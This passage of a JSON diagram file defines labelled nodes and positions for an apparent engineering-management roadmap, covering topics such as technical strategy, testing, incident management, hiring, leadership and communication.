\"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QUxpEK8smXRBs2gMdDInB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.1408176626721,\n        \"y\": 655.0569380676916\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fBENrXdMhoGYgL_d96tgo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 495.7338337249069\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Software Engineering Background\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iX4HPgoiEbc_gze1A01n4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 495.7338337249069\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iX4HPgoiEbc_gze1A01n4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 548.733833724907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"System Design and Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 548.733833724907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EY6Hk5wPd9Y_VA1UROk44\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 601.733833724907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Debt and Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 45,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 45\n      },\n      \"positionAbsolute\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 601.733833724907\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 45\n      }\n    },\n    {\n      \"id\": \"_2xnTKt5yi__jj_WgcLa7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 703.733833724907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 703.733833724907\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"40yK6XzI8lSxdiAXxtF75\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 650.733833724907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Code Review Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1187.7911943279541,\n        \"y\": 650.733833724907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XXTA13ZCHFPC_wiWBbEy5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1238.7911943279541,\n        \"y\": 453.4750817808702\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Foundational Knowledge\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1238.7911943279541,\n        \"y\": 453.4750817808702\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ikCJ8Ybu2AD1w5VuPNVAO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.1408176626721,\n        \"y\": 444.0569380676916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Roadmapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.1408176626721,\n        \"y\": 444.0569380676916\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H0aav5qKDNiNegJOGP2rx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.1408176626721,\n        \"y\": 550.0569380676916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Build vs Buy Evaluation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.1408176626721,\n        \"y\": 550.0569380676916\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d7zMBhMFgY9MwmKC9CVVh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.1408176626721,\n        \"y\": 603.0569380676916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Risk Assessment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.1408176626721,\n        \"y\": 603.0569380676916\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1k394g-bFMoU4LxbLrx1_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 902.6408176626721,\n        \"y\": 402.55282185730806\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Strategy\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"dSaBT0EdOEckt7mz5xG5o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 902.6408176626721,\n        \"y\": 402.55282185730806\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"gAEmpSMvNyjmTa5q9oZSg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.31040876379427,\n        \"y\": 401.52507946716685\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CI/CD Implementation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.31040876379427,\n        \"y\": 401.52507946716685\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bpJPDbifPwS4ScOoATlEI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.31040876379427,\n        \"y\": 453.52601469584715\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Development / Release Workflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.31040876379427,\n        \"y\": 453.52601469584715\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C2YsaZ32An_UXV8lB7opm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.31040876379427,\n        \"y\": 557.5278851532075\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Standards Setting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 45,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 45\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.31040876379427,\n        \"y\": 557.5278851532075\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 45\n      }\n    },\n    {\n      \"id\": \"sQCLhk__jvbityuuLlxiW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.31040876379427,\n        \"y\": 605.5288203818877\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Security  Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"o1xPrfg8iNWQpD12xsbQJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.31040876379427,\n        \"y\": 605.5288203818877\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q5SJyM1d8cQzzAcR-kotB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.31040876379427,\n        \"y\": 505.52694992452734\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.31040876379427,\n        \"y\": 505.52694992452734\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_vFDIX5Uds46imA11zaLg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 507.81040876379427,\n        \"y\": 302.92598990955173\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Quality and Process\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 507.81040876379427,\n        \"y\": 302.92598990955173\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"o1xPrfg8iNWQpD12xsbQJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 439.31040876379427,\n        \"y\": 657.5297556105679\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Incident Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 439.31040876379427,\n        \"y\": 657.5297556105679\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3na5mBIPl5f6mjEzkgD_C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.6007636336227,\n        \"y\": 943.8741544885359\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hiring and Recruitment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.6007636336227,\n        \"y\": 943.8741544885359\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tPDmXXjvFI_8-MTo_dEUw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.6007636336227,\n        \"y\": 996.8741544885359\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Structure and Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.6007636336227,\n        \"y\": 996.8741544885359\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eJzYnoB6sArLjXRm51cM4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.6007636336227,\n        \"y\": 1049.8741544885359\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performance Evaluations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.6007636336227,\n        \"y\": 1049.8741544885359\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0ULnfq0ZFJXgoLbKM1gxC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.6007636336227,\n        \"y\": 1155.8741544885359\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mentoring and Coaching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.6007636336227,\n        \"y\": 1155.8741544885359\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fhFSR_N4ZDTHINEinubHG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.6007636336227,\n        \"y\": 1102.8741544885359\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Career Development Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.6007636336227,\n        \"y\": 1102.8741544885359\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ecHMSFNc5uCxbCqK_bnIA\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 508.6007636336227,\n        \"y\": 896.8024420231731\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Development\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 508.6007636336227,\n        \"y\": 896.8024420231731\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"bx2SMhR58ud45se5dK7qS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.1408176626721,\n        \"y\": 881.1177694179561\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Delegation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.1408176626721,\n        \"y\": 881.1177694179561\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QA5CR5f0geC_RQc_SOK-N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.1408176626721,\n        \"y\": 934.1177694179561\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conflict Resolution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 845.1408176626721,\n        \"y\": 934.1177694179561\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Az9GgkLFoat2t_sYRUBv5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.1408176626721,\n        \"y\": 987.1177694179562\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feedback Delivery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.1408176626721,\n        \"y\": 987.1177694179562\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U_oOnDXkCE387r9olvMZB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.1408176626721,\n        \"y\": 1040.1177694179562\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Motivation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.1408176626721,\n        \"y\": 1040.1177694179562\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7PBmYoSmIgZT21a2Ip3_S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.1408176626721,\n        \"y\": 1093.1177694179562\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Trust / Influence Building\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.1408176626721,\n        \"y\": 1093.1177694179562\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C-FsZPf9FKDf_MQ55axNw\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 911.6408176626721,\n        \"y\": 837.1177694179561\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Leadership Skills\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 911.6408176626721,\n        \"y\": 837.1177694179561\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"b3qoH_LuW-Gz4N8WdGnZs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 940.6586838116007\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"One-on-One Meetings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 940.6586838116007\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e0ZuiCoS8sJ0XB1lNiz7_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 993.6586838116007\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Meetings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 993.6586838116007\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gqKEgKjEu5sOf5Gl-HS-j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 1046.6586838116007\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Status Reporting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 1046.6586838116007\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TVqVlJqegLZRSkwNoHbBf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 1099.6586838116007\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 45,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 45\n      },\n      \"positionAbsolute\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 1099.6586838116007\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 45\n      }\n    },\n    {\n      \"id\": \"ZyNbSBd8plAZ5lt5OEUYu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 1148.6586838116007\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cross-functional Collaboration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1209.8829633399996,\n        \"y\": 1148.6586838116007\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C2EQ8JMyK6b4PvgK5TpXb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1280.8829633399996,\n        \"y\": 907.6604953898097\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Communication\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"8_68edYBsrJBC1RdUVsnu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1280.8829633399996,\n        \"y\": 907.6604953898097\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"4v5yLKYVcMh0s7SQuf__C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1333.1483422046601\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Resource Allocation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1333.1483422046601\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7BcToTqL78QmG4qb43X5Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1386.1483422046601\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sprint Planning\",\n        \"style\": {\n          